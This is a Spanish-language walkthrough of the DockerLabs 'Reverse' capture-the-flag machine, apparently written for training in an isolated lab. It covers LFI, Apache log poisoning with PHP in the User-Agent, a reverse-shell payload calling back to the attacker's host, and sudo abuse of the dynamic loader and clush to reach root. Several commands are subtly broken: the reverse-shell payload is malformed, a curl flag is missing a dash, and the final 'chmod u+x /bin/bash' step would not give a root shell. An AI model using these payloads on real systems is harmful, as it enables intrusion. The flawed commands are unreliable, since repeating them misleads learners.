Reverse

Introducción

Este documento detalla la resolución completa de la máquina Reverse, desarrollada por maciiii___ para DockerLabs y clasificada con un nivel de dificultad Medio.

El objetivo es guiar paso a paso el proceso de compromiso del sistema:

1. Reconocimiento: Identificación de puertos y servicios expuestos.
2. Explotación: Obtención de ejecución remota de comandos (RCE) mediante vulnerabilidades en la aplicación web.
3. Escalada de privilegios: Encadenamiento de varias escaladas abusando de configuraciones indebidas en sudo, hasta obtener acceso como root.

Todo el procedimiento se realizó en el entorno aislado de DockerLabs.

---

Información General

Atributo	Valor
Nombre	Reverse
Autor	maciiii___
Dificultad	Medio
Fecha	23/06/2024
Plataforma	DockerLabs

---

Paso 0 — Preparación y despliegue

Descomprimimos y desplegamos la máquina:

unzip Reverse.zip
sudo bash auto_deploy.sh Reverse.tar

---

Paso 1 — Reconocimiento

1.1 Organización del entorno

mkdir -p Reverse/{content,exploits,nmap,gobuster,scripts}
cd Reverse

---

1.2 Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos identificados:

• 80/tcp — HTTP

---

1.3 Enumeración HTTP

Enumeramos contenido con Feroxbuster:

feroxbuster -u http://172.17.0.2 -d 0 \
  -w /usr/share/seclists/Discovery/Web-Content/DirectoryList2.3-medium.txt \
  -x php,txt,html,js,bak,old \
  -t 40 \
  -C 404,403

Rutas relevantes:

• / — Página principal sin contenido interesante.
• /js/script.js — Archivo JavaScript con comportamiento especial.

Este script revela algo crucial: al realizar 20 clics en la página principal, aparece un alert conteniendo el valor secret_dir, que corresponde a un directorio oculto dentro del sitio.

---

Paso 2 — Explotación (acceso inicial)

Dentro del directorio secret_dir, encontramos permisos de lectura y un binario llamado secret.

Al ejecutarlo, solicita una contraseña desconocida. Para obtenerla, realizamos ingeniería inversa con Ghidra.

En la función containsRequiredChars identificamos las condiciones que deben cumplirse para que la contraseña sea válida.

Uniendo las comprobaciones obtenemos la contraseña correcta.

Al ejecutar nuevamente el binario e introducir la contraseña:

El programa muestra un mensaje codificado en Base64, que decodificamos así:

echo 'CADENA' | base64 -d

El resultado parece ser un dominio interno, por lo que lo añadimos a /etc/hosts para acceder a la web.

Explorando la aplicación encontramos esta URL interesante:

http://<DOMAIN>/experiments.php?module=./modules/default.php

El parámetro module permite leer archivos arbitrarios, exponiendo una LFI (Local File Inclusion).

Leemos /etc/passwd:

Usuarios identificados:

• maci
• nova

A continuación, intentamos Log Poisoning sobre los archivos de Apache, específicamente:

/var/log/apache2/access.log

Inyectamos PHP en el User-Agent:

curl -s X GET http://<DOMAIN>/ -A '<?php system("id") ?>'

Al leer el log, obtenemos RCE:

Con el acceso remoto funcional, lanzamos una reverse shell.

Listener:

nc -nlvp 443

Payload en el log:

curl http://172.17.0.2 -A "<?php -r '$sock=fsockopen(\"172.17.0.1\",443);exec(\"sh <&3 >&3 2>&3\");' ?>"

Y obtenemos shell como www-data:

---

Paso 3 — Escalada de privilegios

3.1 De www-data → nova

Revisamos permisos:

Puede ejecutarse /opt/password_nova como usuario nova.

sudo -u nova ./opt/password_nova

El binario indica que la contraseña se encuentra en rockyou.txt, por lo que usamos el script UserRush.

cp /usr/share/wordlists/rockyou.txt /tmp/rockyou.txt
cp /UserrRush.sh /tmp/UserrRush.sh

Tras ejecutarlo, obtenemos la contraseña y accedemos vía:

su nova

---

3.2 De nova → maci

Permisos de sudo:

Podemos ejecutar como maci el loader dinámico:

sudo -u maci /lib64/ld-linux-x86-64.so.2 /bin/bash

---

3.3 De maci → root

Permisos de sudo:

Puede ejecutarse clush como root. Lo usamos para escalar privilegios a bash:

sudo /usr/bin/clush -w node[40-42] -b

En la consola de clush:

!chmod u+x /bin/bash

Ahora:

bash -p

Y obtenemos acceso root:

---

Fallos de Seguridad Identificados

• Falta de sanitización en parámetros que permiten LFI.
• Configuración insegura de Apache que posibilita Log Poisoning.
• Permisos excesivos en sudo para múltiples usuarios.
• Binarios internos mal protegidos que permiten ingeniería reversa.
• Dependencia en contraseñas débiles incluidas en diccionarios comunes.

---

Recomendaciones

• Deshabilitar inclusión de archivos mediante parámetros no validados.
• Restringir accesos a logs y evitar que PHP se ejecute en ellos.
• Revisar estrictamente las políticas de sudoers.
• Proteger binarios sensibles y evitar pistas internas en el código.
• Implementar políticas robustas de contraseñas.